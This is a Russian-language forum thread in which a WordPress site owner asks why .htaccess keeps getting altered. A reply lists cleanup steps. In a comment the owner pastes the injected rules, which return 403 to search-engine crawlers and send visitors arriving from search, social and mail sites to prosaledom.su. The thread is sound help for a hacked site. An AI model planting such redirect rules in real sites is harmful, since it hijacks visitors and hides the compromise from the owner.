Что меняет содержимое .htaccess?

Question

[Александр Горкин]

Всем здрасьте. У меня есть сайт xn--80a2afg.xn--80asehdb на WP. На днях столкнулся с проблемой. Поймал вредноносный скрипт который перенаправляет с ссылок сайта на левые сервисы. Удаляю .htaccess и ставлю дефолтный все начинает работать отлично, но через некоторое время все повторяется, а вот сам файл пустой. Что делать? Подскажите?

Answer 1

[Александр]

Выпилить из uploads все файлы .php, сохранить файл wp-config.php , сравнить его содержимое с его описанием и со структурой файла wp-config-sample.php. При наличии расхождений (кроме параметров подключения к бд и других легитимных опций), например функций/вызовов функций - перенести нужные параметры в wp-config-sample.php и переименовать в wp-config.php (при этом отложить этот файл). Сохранить тему.
Заменить все файлы wordpress на оригинальные. Положить на свое место отложенный ранее wp-config.php. Проверить тему на наличие непонятного\стороннего кода. Проверить права доступа к файлам и папкам.

Comments

[Александр Горкин]

RewriteEngine On

RewriteCond %{HTTP_USER_AGENT} (googlebot|bingbot|Baiduspider) [NC]
RewriteRule .* - [R=403,L]

RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*gmail.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*googlemail.* [OR]
RewriteCond %{HTTP_REFERER} .*inbox.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotmail.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ prosaledom.su [R=301,L]

ErrorDocument 404 prosaledom.su

Вот такая фигня появляется(